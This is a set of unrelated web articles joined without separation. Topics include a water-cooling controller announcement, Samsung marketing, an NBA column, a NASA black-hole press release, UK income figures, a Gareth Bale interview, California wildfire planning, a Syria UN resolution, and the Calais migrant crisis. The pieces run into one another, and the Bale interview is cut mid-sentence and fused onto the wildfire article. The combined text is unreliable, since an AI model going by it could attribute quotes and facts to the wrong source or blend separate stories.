Whats else did I miss?… 🙂
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commentsA sneak peak into EK-Ascendacy
EK Water Blocks, Ljubljana based premium water cooling gear manufacturer, is excited to give you first glimpse of the upcoming EK-Ascendacy water cooling system control board which has been in development for the past 12 months. The unit is design to work in conjuction with EK-Ascendacy software interface for Microsoft® Windows® but can also operate in standalone mode.
With three integrated presets and plethora of customized profiles this unit is capable of controlling your computer cooling system exactly as you want it. Powered by world renown CPUID monitoring library the EK-Ascendacy and it’s Microsoft® Windows® based application is the ultimate solution for any avid computer water cooling enthusiast.
Hardware features:
– direct drain FET water cooled voltage regulation module (VRM)
– up to 150W sustained power capable VRM
– standard 6-pin PCI-Express power connector ensures
– control a 4-pin molex / 3-pin DC (up to 40W) or 4-pin PWM capable water pump
– control up to 8 4-pin PWM or 3-pin DC fans (15W each)
– connect any industry standard flow meter (pulse sensing)
– monitor up to 10 thermal probes (NTC thermistor)
Software features:
– Microsoft® Windows® based application
– Modern, easy and intuitive user interface
– Custom profile creation, editing and management – from fan hysteresis to flow meter pulse tuning
– CPUID SDK support allows monitoring of all vital parameters of your computer
– Logging function of all parameters
The unit is now in validation phase where all potential flaws will be ironed out. EK will offer both full- as well as light 5.25" drive bay version without the front facing LCD and interface.
The light version without the front facing LCD will be available by early March 2014, pricing is yet to be announced. It is worth noting this product is completely designed and – like nearly all EK Water Blocks products – manufactured in Slovenia, Europe!Here's a pretty clever new chapter in Samsung's long-running mockery of Apple line-waiters. For the launch of the Galaxy S4, New Zealand agency Colenso BBDO created a "Smart Phone Line"—a digital queue that fans could join and then move up in line by posting in social media about the phone. A large screen in Auckland actually showed the avatars waiting in line, sharing tweets in real time and skipping ahead. (The fan who worked his or her way to the front of the line by launch got a free S4.) As a subtle jab to Apple fanboys notoriously willing to endure anything for a new iPhone, Samsung's virtual line-waiters curled up in sleeping bags at night and put up umbrellas when it rained. Watch the case study below to see how it worked and hear the results. Via Ads of the World.Written by: Josh Gutbrod
Despite falling to Minnesota last night in a key divisional match up, the Portland Trail Blazers sit amidst the Western Conference playoff picture for the fifth consecutive season. The two constants across the stretch have been head coach Terry Stotts, one of the NBA’s best offensive minds, and star point guard Damian Lillard, one of the league’s best offensive players.
The offensive prowess has led the Blazers throughout the past few years, yet this year it is the team’s defense that is carrying them to victory. Lillard is still Lillard, posting per game averages of 25.5 points, 6.5 assists, and 5.1 rebounds. The star is also playing much better defense than in previous seasons, a definite weak spot in the point guard’s game. Throw in the consistent 21 points per game from CJ McCollum, and it’s easy to see why the team fails to fall below.500.
Yet despite it all, there’s a certain realism about the Trail Blazers that is pretty plain to see. A certain understanding that the team is good enough to win, as it tends to be, but not good enough to be a legitimate contender. The supporting cast features pieces like Evan Turner and Meyers Leonard that pose little value to the team while on the floor. Outside of the obvious bad contracts, the other members of the supporting cast are predominantly player such as Pat Connaughton who are probably playing more minutes than they should. The team also has little to no cap flexibility, boasting the fifth highest total cap in the NBA.
The Portland Trail Blazers have become one of the most confusing teams in the NBA. The team is all in with a roster that seems limited. A roster than can beat anyone, but probably won’t. The Blazers simply don’t have the firepower to beat any of the top teams in the West, but play tough enough defense to beat everybody else. The roster does have a fair amount of young players, which if developed could change this discussion entirely, but for now that does little good for the Blazers. Its an odd mix, when you really look at the roster. Half of the players, such as Noah Vonleh and Shabazz Napier, are the types of young project investments you typically see on a rebuilding team. Yet deals such as Evan Turner’s $17 million contract, paying high to keep role players, would seem to be an approach set on winning now. The Trail Blazers are a troubled mix of rebuild and go for it all, almost as if GM Neil Olshey didn’t know which way to go after losing all of those starters back in 2015.
Olshey has constructed a team that just doesn’t make sense. It’s good, but it really isn’t. It’s young, but due to restricted cap can’t easily bring in veterans. Evan Turner is a terrible contract, but Al-Faraouq Aminu is a tremendous one. Olshey’s performance as general manager itself shows the problem. He’s either made great moves or horrible moves, and it all balanced out to create an average team.
I am not of the mind that Neil Olshey should be fired. He’s made some quality moves and saw the team go through losing all of that talent without failing out of the playoffs. Olshey simply needs to make up his mind. Jusuf Nurkic is a valuable trade piece, as one of the league’s more promising young centers, and the team controls its own first round picks for the upcoming years. The roster also features a couple of other desirable young players and features larger contracts that can be used to mix and match salaries in trades. The Blazers may not have the cap space to do anything, but with the hot starts of some of their young players this year, they may have the assets to pull off a trade or two to jump up with the other elites of the West right now.
Olshey needs to be aggressive while he can and make the most of the value his players are giving him. If the team is left as is, or largely so, it would likely not ever climb high enough to win it all. The team is finally playing defense, a first under Terry Stotts, and only needs some added offensive punch to go along with the backcourt to start seriously winning games. As confusing and contradictory as the build up of the roster has been so far, it can all be corrected with one move. All Olshey has to do is land a third scorer and all of this frustrating wading in place the team has done for three seasons will come to an end. The team just needs a consistent direction, and everything else will fall into place.'Death Star' Galaxy Black Hole Fires at Neighboring Galaxy
Media contacts: Grey Hautaluoma 202-358-0668
Headquarters, Washington
grey.hautaluoma-1@nasa.gov
Jennifer Morcone 256-544-7199
Marshall Space Flight Center, Huntsville, Ala.
Jennifer.J.Morcone@nasa.gov
Megan Watzke 617-496-7998
Chandra X-ray Center, Cambridge, Mass.
m.watzke@cfa.harvard.edu
WASHINGTON - A powerful jet from a super massive black hole is blasting a nearby galaxy, according to new findings from NASA observatories. This never-before witnessed galactic violence may have a profound effect on planets in the jet's path and trigger a burst of star formation in its destructive wake.Known as 3C321, the system contains two galaxies in orbit around each other. Data from NASA's Chandra X-ray Observatory show both galaxies contain super massive black holes at their centers, but the larger galaxy has a jet emanating from the vicinity of its black hole. The smaller galaxy apparently has swung into the path of this jet.This "death star" galaxy was discovered through the combined efforts of both space and ground-based telescopes. NASA's Chandra X-ray Observatory, Hubble Space Telescope, and Spitzer Space Telescope were part of the effort. The Very Large Array telescope, Socorro, N.M., and the Multi-Element Radio Linked Interferometer Network (MERLIN) telescopes in the United Kingdom also were needed for the finding."We've seen many jets produced by black holes, but this is the first time we've seen one punch into another galaxy like we're seeing here," said Dan Evans, a scientist at the Harvard-Smithsonian Center for Astrophysics and leader of the study. "This jet could be causing all sorts of problems for the smaller galaxy it is pummeling."Jets from super massive black holes produce high amounts of radiation, especially high-energy X-rays and gamma-rays, which can be lethal in large quantities. The combined effects of this radiation and particles traveling at almost the speed of light could severely damage the atmospheres of planets lying in the path of the jet. For example, protective layers of ozone in the upper atmosphere of planets could be destroyed.Jets produced by super massive black holes transport enormous amounts of energy far from black holes and enable them to affect matter on scales vastly larger than the size of the black hole. Learning more about jets is a key goal for astrophysical research."We see jets all over the universe, but we're still struggling to understand some of their basic properties," said co-investigator Martin Hardcastle of the University of Hertfordshire in the United Kingdom. "This system of 3C321 gives us a chance to learn how they're affected when they slam into something like a galaxy and what they do after that."The effect of the jet on the companion galaxy is likely to be substantial, because the galaxies in 3C321 are extremely close at a distance of only about 20,000 light years apart. They lie approximately the same distance as Earth is from the center of the Milky Way galaxy.A bright spot in the Very Large Array and MERLIN images shows where the jet has struck the side of the galaxy, dissipating some of the jet's energy. The collision disrupted and deflected the jet.Another unique aspect of the discovery in 3C321 is how relatively short-lived this event is on a cosmic time scale. Features seen in the Very Large Array and Chandra images indicate that the jet began impacting the galaxy about one million years ago, a small fraction of the system's lifetime. This means such an alignment is quite rare in the nearby universe, making 3C321 an important opportunity to study such a phenomenon.It is possible the event is not all bad news for the galaxy being struck by the jet. The massive influx of energy and radiation from the jet could induce the formation of large numbers of stars and planets after its initial wake of destruction is complete.The results from Evans and his colleagues will appear in The Astrophysical Journal. NASA's Marshall Space Flight Center, Huntsville, Ala., manages the Chandra program for the agency's Science Mission Directorate. The Smithsonian Astrophysical Observatory controls science and flight operations from the Chandra X-ray Center in Cambridge, Mass.Additional information and images are available at:Image caption Middle-income families will see their spending power cut by £34 a week
The average middle-income family in Britain is likely to be nearly £1,800 a year worse-off by 2015, according to the Institute for Fiscal Studies (IFS).
Families with two children will see a fall of £34 in their weekly incomes, after adjusting for inflation.
A childless couple is likely to lose £1,248 a year, or £24 a week.
The IFS also said that over the next three years, less well-off families will be hit harder than those with higher incomes.
The cuts in spending power are because incomes are failing to keep pace with inflation, and because of changes to the benefits system.
Pain ahead
The study suggests that better-off families suffered disproportionately in the years following the recession.
Those who earn more than £48,000 after tax saw their incomes fall by 6.3% between 2007-08 and 2011-12.
However, people on lower incomes are likely to be hardest-hit between now and 2016.
Those earning less than £12,000 a year will see their spending power fall by 4.5% between 2011-12 and 2015-16.
"Most of the falls in real incomes associated with the recession have now happened for middle- and higher-income groups," said Robert Joyce, a senior economist at the IFS.
"But much of the pain for lower-income groups is occurring now, or is still to come," he said.
The main reason for that, said the IFS, was the changes to benefits which are in the process of being introduced to help cut the government deficit.
Among them are the benefits cap, changes to housing benefit, the localising of council tax benefit, and the end of disability living allowance.
As a result, the IFS says that although income inequality fell in the years after the recession, it is now on the rise again.
Wealth divide
Such income inequality is mirrored by a disparity in wealth levels, according to a separate report out today from the Office for National Statistics (ONS).
The study shows that 28% of adults aged 45 to 64 living in south-east England live in households with wealth greater than £1m. The figure includes the value of property.
By contrast, in north-west England, the proportion of people with such wealth is only 14%.
The differing fortunes of pensioners are also highlighted in the ONS report.
In the North East, 24% of pensioners live in households with wealth of less than £50,000. In the South West it is 9% of pensioners.An Oct. 2 Associated Press article reported how one of Ohio’s “poorest” cities, East Cleveland, was dealt “another financial blow” when a federal judge “stuck” it with a $638,000 judgment in favor of a company that supplied it with traffic cameras. The city had hoped these cameras “would provide a revenue boost.”
One might wonder two things: How does East Cleveland feel about being on the receiving end of “stuck” relating to traffic cameras? Did the city not get the statewide memo that these devices were not revenue boosters?
Shame, shame on that nasty federal judge who denied this struggling Ohio city the opportunity it needed to become safer... uh, I mean richer... oh, I mean, well, whatever the supporters of these devices claim the “benefits” are.
The incredible idea that these cameras are for safer streets has been dealt “another blow” by this now widely known but timely admission.
In a related column Oct. 3, Washington Post columnist Kathleen Parker said it best: “Once we accept the necessity of cameras to keep the citizenry in line, especially when keeping order is so profitable, we needn’t let our imaginations wander far to see that absolute order is the endgame in a brave new world.”
What will cities and counties think of next — a 100 percent penalty for getting your dog license a day late? Or maybe a camera in each home to prevent a whole range of problems.
With the fines from 745,875 camera-generated tickets paid in 2013, think how many police could be hired.
To our friends in the general public: Do not speed.
To our friends in government: Send your camera money to the poorest Ohio cities.
To our friends in the Ohio Supreme Court: Loosen the noose that (to paraphrase Parker) we, the people, enrich our elected officials to torment us with.
DAVID LARGE, PARIS TOWNSHIPGet the biggest rugby stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
He’s been the talisman behind Wales’ incredible road to Euro 2016, an idol to the fans.
It’s been an amazing journey and the day after qualifying ended, Gareth Bale attended a McDonald’s sponsored event where he helped coach the starstruck youngsters at Sully Sports near Cardiff.
Football Correspondent Chris Wathan met up with Bale to hear his verdict on Chris Coleman’s history-makers, his passion for his country and his aims to make sure this stunning success lasts beyond next summer in France.
(Image: PA Wire)
CW: Here we are - Wales in a major finals. You always believed this would happen but I bet it still feels like a dream?
GB: It does a little.
Every campaign we start off saying we can do it, but there was a bit more belief this time. We were a little bit older, that bit more experienced with a few of us on more than 50 caps.
The pressure mounted with every game, the expectation went up and we just tried to embrace it. Certain victories gave us even more belief as we went on.
In friendly games we may have won five in a row but we’d never put that form into a qualification campaign, that was the key for us.
And as soon as we got the ball rolling, the momentum just took us. We weren’t conceding goals, we were nicking 1-0 wins, it was a perfect campaign.
CW: You became winners...
GB: We just had that mentality that the gaffer stuck into us and gave us the extra belief we needed. Next we’re going to France.
CW: The way you celebrated in the game at home to Cyprus, roaring to the sky, shows how much it means. Is it your favourite part of football playing for your country?
GB: Yeah, I think it should be for every player. To represent your country is a massive honour.
Every time I pull on a Madrid or Wales top I run myself into the ground. I’ve come off with cramp and I don’t usually do that.
It’s a massive honour.
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The players have been together for the last eight or nine years. We know each other, we fight for each other, and to have that team spirit and togetherness is really special.
It makes you want to come away with Wales and enjoy every minute.
CW: You only missed three minutes of the campaign?
GB: I came off with cramp in that one. I don’t think they wanted me to play 90 minutes against Andorra, but I wanted to play, I wanted to help the team and enjoy the occasion and get a goal.
Every second I’m on the pitch for Wales is an honour and I love playing.
CW: Did you apologise to Coleman when you came off against Belgium with cramp?
GB: Yeah. I did as much as I could. I think I had cramp 15 minutes before I came off, I was just hobbling around.
I tried to run and then it got to a point where it was like, ‘I can’t.’
(Image: Gonzalo Arroyo Moreno/Getty Images)
CW: Did the golden generation tag weigh down on the squad?
GB: It was never for us to say that about ourselves, it was for the media and the public to say. But we knew how good we were and we’ve proven how good we are.
I don’t mean to be disrespectful to the side that qualified in 1958, but I think I’m right in saying they didn’t qualify outright so we are actually the first team that have 100% done it.
And I take a lot of pride in that.
We’re just proud to represent our country and be that first team. Hopefully we can go and actually make an impact in France.
poll loading Can Wales reach the knock-out stages at Euro 2016? 500+ VOTES SO FAR YES NO
CW: We’ve seen Denmark in 1992 and Greece in 2004 - the Euros are a competition an unfancied nation can do well in?
GB: Yeah. You have to go there with that ambition.
Thierry Henry said something similar a few months ago and we believe it.
We know we don’t concede too many and we can nick a goal against anybody, so there’s no reason we can’t.
Obviously you might need a bit of luck on the way but we’ll be going there trying to upset a few people.
CW: Any thoughts about who you would like to draw?
GB: To be honest we’ll take anyone when we get there.
We want to test ourselves against the best and to do that you have to play the best.
So whoever we draw we’ll be going there to cause an upset no matter who we play.
CW: Will other nations be pleased to avoid Wales?
GB: For massive nations who have been there and won it, the pressure will be on them if they play the likes of us.
They will be expected to beat us, but we are confident we can beat anybody on our day.
Provided we concentrate on ourselves, I’m sure we will do everybody proud.
CW: You could draw England. Your agent has mentioned in the past that you could have played for them.
GB: Never an option. Straight away.
(Image: Michael Steele/Getty Images)
CW: Were you contacted by the English FA?
GB: I’m not sure. I was really young at the time.
Literally it was a one-second conversation. I just said stop: I’m from Wales and love Wales and everyone knows how much I love playing for Wales.
I’m Welsh. It was never an option and I would never want |
are going to be the strongest.”
But the growing sophistication of wind mapping and forecasting isn’t reflected in the state’s wildfire policies.
“I often hear people say that if we construct our buildings correctly and put enough defensible space around it, then we don’t need to worry about where you put the houses,” Syphard said.
“But they don’t necessarily fireproof your house. You can see that by some of the houses that burned in recent years,” added Syphard, whose research has linked wildfire losses to the location and spatial arrangement of houses.
In recent years, the state has made some moves to factor wildfire into land-use planning. Under a 2012 law, cities and counties are supposed to consider wildfire risk and consult with the California Department of Forestry and Fire Protection when they update their general plans and approve subdivisions.
Yet there appears little inclination to place especially fire-prone areas off limits to development.
“We have to consider property rights,” said Mitch Glaser, an assistant administrator in the L.A. County Department of Regional Planning.
The county has required fire-related changes in the layout and size of subdivisions and zoned the backcountry to avoid isolated, large-scale housing projects, Glaser said. But he didn’t know of any development application that was denied because of wildfire risk.
The building continues even in areas where it is virtually guaranteed that a wind-whipped fire will roar through sooner or later.
Take the five-mansion compound that U2 guitarist the Edge plans to erect on a rugged coastal hillside in Malibu, an oft-scorched corridor for Santa Ana winds.
“The placement of homes on a ridgeline documented to have burned at least six times between 1942 and 2010 makes it almost certain the ridgeline will burn again in the near future,” the National Park Service warned in comments to the California Coastal Commission, which approved the project in 2015 after years of controversy over its impact on coastal views and environmentally sensitive habitat.
A few highly flammable parts of the world are taking tougher stands. National planning regulations in France now require communities in the country’s fire-prone south to bar development in certain high fire-hazard zones.
“It’s not terribly popular. But they do have the ability to make that happen,” said Susan Kocher, a natural resources advisor with the UC Cooperative Extension who spent a sabbatical in France and recently published a research paper on the topic.
In California, land-use planning is primarily a local responsibility.
“Local municipalities are so concerned about their tax base and private property rights and making money that they’re not addressing the real risks,” said Richard Halsey, director of the California Chaparral Institute.
Development should be barred in some areas, or if it’s allowed, residents should be required to “sign a waiver — we don’t want fire protection,” Halsey argued. “I don’t know if politically that’s ever going to happen.”
Bill Stewart, co-director of UC Berkeley’s Center for Fire Research and Outreach, says it’s time to stop installing above-ground power lines to serve rural residences.
“We’re going to have to go underground or not have power lines and have people on pure solar and batteries … because they get knocked down,” he said.
San Diego Gas & Electric Co. took another tack after the utility was hit with fines and huge settlement costs in the wake of devastating 2007 wildfires caused by its sparking electrical equipment.
The company spent $1.7 million to install 170 weather observation stations on backcountry poles, creating what it calls one of the country’s densest weather monitoring networks.
Every 10 minutes, the stations transmit data to the utility on wind speed and direction, temperature and humidity.
When the Santa Anas start blowing, the company’s three meteorologists monitor the network around the clock. Utility crews and contract firefighters are dispatched in advance to areas where the strongest winds are forecast.
Since the program started, SDG&E says, it has turned off power to portions of its distribution system 16 times for public safety reasons. The shut-offs have affected a relatively small number of customers, a total of 1,000, who received telephone alerts of impending outages.
The network has yielded a wealth of new information about regional wind patterns.
“A lot of what people knew was anecdotal,” said SDG&E senior meteorologist Steve Vanderburg. “But once you actually install the weather stations and start looking at what’s going on, you see that there’s a big difference between reality and anecdotal information.”
It turns out the county’s strongest winds don’t blow through passes and canyons, as previously thought. The monitoring has also documented remarkable variability in wind strength across relatively short distances.
In one Santa Ana event, Vanderburg said, gusts of 91 mph were measured at the utility’s Sill Hill weather station while a mile to the south they were half that.
No other utility in the state has a similar monitoring system.
After the 2007 fires, SDG&E also worked with the U.S. Forest Service and UCLA scientists to develop the Santa Ana Wildfire Threat Index, which is publicly available online.
Launched in 2014 and managed by federal agencies, the index uses weather data and information on vegetation moisture levels to rank upcoming Santa Ana events according to the potential for a large fire.
On Oct. 24, when one of the strongest Santa Ana events in years hit Southern California, the index rated the wildfire threat in Los Angeles and Ventura counties as “high,” one step below the top ranking of “extreme.”
“We want to tell people this is a day when you may have to evacuate your home,” said Forest Service meteorologist Tom Rolinski, who helped devise the index.
They didn’t have to. There were no major fires — this time.
Copyright 2017 Los Angeles TimesDave Davies
The Hudson Square Music & Wine Festival returns with its fifth year starting June 4 and continuing every Tuesday through Labor Day. Brought to you by City Winery (where the shows take place), the free outdoor shows (they’re behind the venue) go down from 5:00PM-7:30PM.
This Tuesday’s kickoff show is with former Kinks guitarist/singer Dave Davies (who played City Winery last week). Other acts playing this year include Los Straitjackets, The English Beat, The Pietasters, Tim O’Brien, Rasputina and more.
Again these shows are free and open to all ages. Full 2013 Hudson Square Music & Wine Festival below…
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2013 Hudson Square Music & Wine Festival schedule
June 4th: Dave Davies of the Kinks
June 11th: Los Straitjackets
June 18th: The English Beat
June 25th: Ben Taylor
July 2nd: The Pietasters
July 9th: Eilen Jewell w/ The End of America
July 16th: Tim O’Brien
July 23rd: Tulipa Ruiz, In Association with Brasil Summerfest
July 30th: Rasputina
August 6th: Early Elton: A Tribute to Early Elton John
August 13th: 1st Annual Hot Strings Fest: Cynthia Sayer, Tony Trischka, Andy Statman, Michael Daves
August 20th: Lost Bayou Ramblers
August 27th: Carolyn Wonderland w/ Sasha DobsonA Syria resolution drafted by Russia and the US and submitted to the UN Security Council does not suggest immediate military action under Chapter 7 of the UN Charter, Russia’s FM Lavrov said. A vote on the measure could take place Friday evening.
The Council has begun consultations on the draft and may vote on the resolution on Friday evening, as soon as the Organization for the Prohibition of Chemical Weapons makes its own decision on the submitted draft, Russia’s UN envoy Vitaly Churkin said.
Russian Foreign Minister Sergey Lavrov might slightly extend his visit to New York to take part in the vote, and his counterparts from the Security Council member states are considering similar moves, Churkin added.
The resolution which was submitted to the UN Security Council is fully in line with the Geneva framework on the destruction of chemical weapons in Syria, Sergey Lavrov told the press earlier on Thursday on the sidelines of the UN General Assembly's 68th session.
“There will be no enforcement in line with Chapter 7,” he emphasized.
The draft resolution backs the agreement reached in Geneva regarding Syria's commitment to place its chemical weapons stockpile under international control. If there is any violation by any party – as the resolution also calls on the opposition to assist in the disarmament process – the Security Council will convene again and will be ready to take enforcement measures in line with Chapter 7, Lavrov said.
“We have finalized the draft which will be submitted at the headquarters of the Organization for the Prohibition of Chemical Weapons in the Hague any minute now," Lavrov said in a short statement on Thursday evening. "We have also agreed on a US-Russian draft resolution which will be submitted to the Security Council later tonight.”
The draft resolution emphasizes the need to rely on the professionalism of the OPCW experts and calls on the UN Secretary General to assist the experts in the implementation of the reached agreements. It further outlines the obligations the Syrian side should fulfill as a member of the Chemical Weapons Convention and the party who invited the international personnel to take control of and ultimately destroy the country's chemical weapons stockpiles, Lavrov said.
The UN Security Council is expected to hold a closed-door consultation on the Syria draft resolution on Thursday evening, representatives of the French UN mission told Reuters.
US envoy to the UN Samantha Power also confirmed an agreement with Russia has been reached, elaborating further that the draft resolution is “legally obligating Syria to give up chemical weapons they used on their people.”
Agreement reached w/Russia on UNSC Resolution legally obligating #Syria to give up CW they used on their people. Going to full UNSC tonight. — Samantha Power (@AmbassadorPower) September 26, 2013
“The draft UNSC Resolution establishes that Syria's use of chemical weapons is threat to international peace and security and creates a new norm against the use of CW,” she wrote via Twitter.
Although all 15 members of the council will see and discuss the draft on Thursday evening, a vote on the measure is not expected immediately.
“We have a shared sense that in both the Security Council and the OPCW these drafts will be met positively, and we expect that the votes on these important decisions will take place in the nearest future, first in Hague and then in the Security Council,” Lavrov said.Naval Medical Center Sand Diego personnel with their hands in the air, help law enforcement clear a building on the campus of the facility following a report of gunshots at a building of the hospital and ambulatory complex, Tuesday, Jan. 26, 2016, in San Diego. (Photo: John Gastaldo, AP)
A lockdown at a Naval hospital in San Diego ended Thursday after authorities spent most of the day searching for a possible shooter who was not found, a Defense official told USA TODAY.
The search started Thursday morning after an anonymous caller reported an active shooter inside a building with other gunmen possibly on the way, the official said.
Law enforcement teams with dogs converged on Building One at the medical complex, the official said. They searched the building Thursday afternoon and recovered four unspent rounds of ammunition. There have been no injuries reported nor confirmation of shots fired.
The call matched another report of a patient seen with a weapon, according to the official, who was not authorized to speak publicly. All personnel were ordered to shelter in place as police responded to the scene. A child care center was also locked down and traffic diverted from the complex.
A similar report of an active shooter that turned out to be false came at the same naval hospital in January.
Officials also scoured buildings and grounds with dogs in January but found no evidence of a gunman or shots having been fired.
The medical center is located on the grounds of Balboa Park in San Diego. It is an advanced treatment facility and a major teaching and research center. About 6,000 people work there.
The initial report came from a caller who reported a patient with a gun and then hung up.
Read or Share this story: http://usat.ly/1RnBhh6Hey @justvanbloom, thanks for this! Sent donation for sure!
Quick question: does the GPU mining for AMD work with this port (-od parameter)? Can that be added?
For the folks not used to terminal / command line stuff, here's what I would suggest:
1) Put nheqminer in your home directory in Finder. The one with the little house by it.
2) Run the Terminal app from the launcher (the little rocket thing in your task bar... click it, type "terminal" and click on it). You should see that the line in Terminal has the same name as your home directory in Finder. It's this what-directory-am-I-in stuff that I think is confusing people.
3) Open start.sh in TextEdit, make the changes that you want, save it for future use.
4) Copy the line from start.sh in TextEdit, and paste it into Terminal. Hit Return. Presto!
Hope that helps.Saga is selling out of its publicly-funded healthcare business, becoming the second firm in a week to cite straitened public budgets and escalating costs when severing ties with the NHS and local authority care.
The company, which sells various products to the over-50s, took over Allied Healthcare in 2011 with a view to expanding its home care and healthcare staffing services. Allied is one of the biggest private providers of such care, with about 15,000 staff.
However, chief executive Lance Batchelor has hung a for-sale sign around the portion of the business focused on local authority and NHS contracts, after finding that the margins were not enough to justify the investment needed to grow the business at Saga.
“Budgets continue to tighten and of course wage costs continue to rise…. It’s based on us having absolute clarity about what the Saga model is and where it works best,” chief executive Lance Batchelor, who took over as chief executive in March 2014, told analysts on Wednesday.
He added that Saga will continue offering home care to private customers, where there is greater overlap with the firm’s other services in insurance, savings and travel. The contracts with local authorities are anomalous in the Saga business, which offers products directly to customers, he added.
The company is also trialling a “home from hospital” service with private care firm Spire Healthcare, aimed at allowing patients to leave hospital early and receive care at home.
The announcement comes less than a week after Circle Healthcare, the first private firm to manage an NHS hospital, said it planned to pull out of its contract after two years.
Circle blamed a 10.1pc cut in public funding coupled with a 30pc rise in accident and emergency admissions made the contract to run Hinchingbrooke hospital in Cambridgeshire unsustainable. The hospital had also endured stark criticism from the Care Quality Commission for poor patient care.
Allied Healthcare’s website states that 93pc of local authorities have a contract with the company to provide care. Last year, the company offered all 15,000 of its care employees the chance to opt for guaranteed hours, having previously employed them on zero hours contracts.
Meanwhile, Saga announced a new partnership with Tilney Bestinvest to offer savings and investment advice to the over-50s, in the wake of the new pension freedoms that mean retirees no longer have to buy an annuity.The Catholic Church, which previously condemned homosexuality as “intrinsically disordered,” is considering embracing homosexual believers, as well as partially accepting same-sex, and other religiously unsanctioned partnerships.
"Homosexuals have gifts and qualities to offer the Christian community: are we capable of welcoming these people, guaranteeing to them a further space in our communities? Often they wish to encounter a Church that offers them a welcoming home," it said in a “relatio,” a document released at the half-way point of the Synod, a two-week discussion of Catholicism and personal relationships at the Vatican, attended by 200 senior bishops.
"Are our communities capable of proving that, accepting and valuing their sexual orientation, without compromising Catholic doctrine on the family and matrimony?”
The Synod, which has been attended by Pope Francis, has also recognized the validity of gay relationships, though it stopped far short of equating them to marriage.
"Without denying the moral problems connected to homosexual unions it has to be noted that there are cases in which mutual aid to the point of sacrifice constitutes a precious support in the life of the partners," said the relatio, which is a preliminary discussion draft that will likely form the basis of the final address, to be issued after the closed-door Synod wraps up.
While homosexual desires are not considered inherently sinful by the Vatican, gay sex is. Yet, Pope Francis already signaled a potentially less condemnatory stance last year, famously saying, “Who am I to judge?” when questioned about celibate gay men becoming priests. In a last-minute move, the pontiff personally introduced several of his theological allies into the relatio drafting committee last week.
QUEST, a long-established gay Catholic group, said the new statements "represent a breakthrough in that they acknowledge that such unions have an intrinsic goodness and constitute a valuable contribution to wider society and the common good."
Meanwhile, David and Jonathan, a gay Christian association in France, said it received the news “with joy.”
"The fact that we are even on the agenda is amazing…” said spokeswoman Elizabeth Saint-Guily.
The Synod has also called for the application of the “law of gradualness,” with unconventional family situations – be it marriages conducted without a church blessing or co-habitation – to be seen in nuanced, not black-and-white terms. Priests are encouraged to nurture "constructive elements in those situations that do not yet or no longer correspond to that ideal," instead of “alienating” believers by telling them they are “living in sin.”
“Each damaged family first of all should be listened to with respect and love, becoming companions on the journey as Christ did with the disciples on the road to Emmaus,” said the relatio, which insisted that the church must “accept the reality” of modern relationships.
The relatio did not shift its fundamental opposition of birth control, but said that if any such methods are practiced, they must take into account the “dignity of the person,” with natural method the preferred way of avoiding conception.
The conclusions of the meeting will be discussed over the next year, before the definitive document of Pope Francis’s era is published after another Synod.French officials have threatened to open up the border at Calais and 'let the migrants through' as the British and French governments warned the world is facing a 'global migration crisis'.
The crisis at the French port has reached fever pitch with more than 5,000 attempts by migrants make it across the Channel.
Now a senior official in Calais has threatened to let immigrants roam free through the port and into Britain, after accusing David Cameron of being 'provocative' by demanding the French take stronger action to put an end to the chaos.
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'Let the migrants through': French officials have threatened to open up the border at Calais in response to provocative language from David Cameron
Chaos: The crisis at the French port has reached fever pitch with more than 5,000 attempts by migrants make it across the Channel
Escape: A senior official in Calais has threatened to let immigrants roam free through the port and into Britain
Emmanuel Agius, deputy mayor of Calais, said he would tear up the Le Touquet Treaty which means people crossing the Channel are checked in France, rather than on arrival in Britain.
Responding to claims British troops could be sent to Calais, he told a French newspaper: 'If it continues like that, with such outrageous provocations, I believe that at a given moment, we are going to be provocative and say 'Let the migrants through', and Mr Cameron will have to deal with it.
'They will be on his territory, in the port of Dover. He poses as the saviour of the situation, on a subject he is greatly mistaken about, just as he is mistaken about the men and women of Calais.'
It is unlikely Mr Agius would have the power to scrap the treaty, which was introduced by the French and British governments as a way of dealing with the Sangatte migrant camp.
In a rare joint statement last night, Home Secretary Theresa May and her French counterpart Bernard Cazeneuve said the world was facing a 'global migration crisis'.
Writing in the Sunday Telegraph, they said: 'We are both clear: tackling this situation is the top priority for the UK and French governments. We are committed and determined to solve this, and to solve it together.
Home Secretary Theresa May and her French counterpart Bernard Cazeneuve said the world was facing a 'global migration crisis'
Emmanuel Agius, deputy mayor of Calais, said he would tear up a treaty which means people crossing the Channel are checked in France, rather than on arrival in Britain
May warned migrants planning on making the 'desperate' journey across Europe that Britain's streets 'are not paved with gold'
'What we are currently facing is a global migration crisis. This situation cannot be seen as an issue just for our two countries.
'It is a priority at both a European and international level. Many of those in Calais and attempting to cross the Channel have made their way there through Italy, Greece or other countries. That is why we are pushing other member states, and the whole of the EU, to address this problem at root.'
WHAT IS THE LE TOUQUET TREATY? The treaty means that migrants heading to Britain from France or Belgium are checked by the authorities before crossing the border. The same rules apply for people entering the two countries from Britain. Its predecessor, the Sangatte Protocol, was introduced in 1991, meaning people were checked at entrances to the Eurotunnel. This was extended to the Eurostar in 2000, and to services from Belgium in 2004. The agreement was renamed the Le Touquet Treaty in 2003 when cross-Channel restrictions were imposed on Ferry routes between France and Britain.
They warned migrants planning on making the 'desperate' journey across Europe that Britain's streets 'are not paved with gold'.
The perceived cooperation between the two countries came after Labour called on David Cameron to demand France pays compensation to British holidaymakers and businesses who have lost out because of the crisis.
British tourists have faced huge delays crossing into France in recent weeks because of the chaos at Calais.
After making to the French port, they have then faced disruption from striking French ferry workers, who blocked roads in and out of the town with a wall of burning tyres on Friday.
Even after finally escaping from the town, some Britons then faced protesting farmers spraying their cars with manure in a dispute with the French government.
But the crisis has affected business in Britain too, with the UK economy taking a £250million hit every day.
Lorry drivers have faced 18-hour waits on the M20 in Kent thanks to Operation Stack, which has seen police close off the motorway to allow trucks to queue up while they wait to cross the Channel.
Protest: Striking French ferry workers blocked roads in and out of Calais with a wall of burning tyres on Friday
Going nowhere: Lorry drivers have faced 18-hour waits on the M20 in Kent thanks to Operation Stack
Stacked: The crisis has affected business in Britain too, with the UK economy taking a £250million hit every day
Queues stretched back for 36 miles earlier this week, but finally, six weeks after this stint of the operation began, the motorway was fully open.
In a letter to the Prime Minister, acting Labour leader Harman said Cameron's reaction to the crisis had been 'devoid of any serious solution'.
She said: 'It is wrong for UK businesses and families to face these costs given border security failures in France.
'Your discussions with the French government should therefore include a request for compensation backed up by any diplomatic pressure that may become necessary. Compensation should cover all losses.
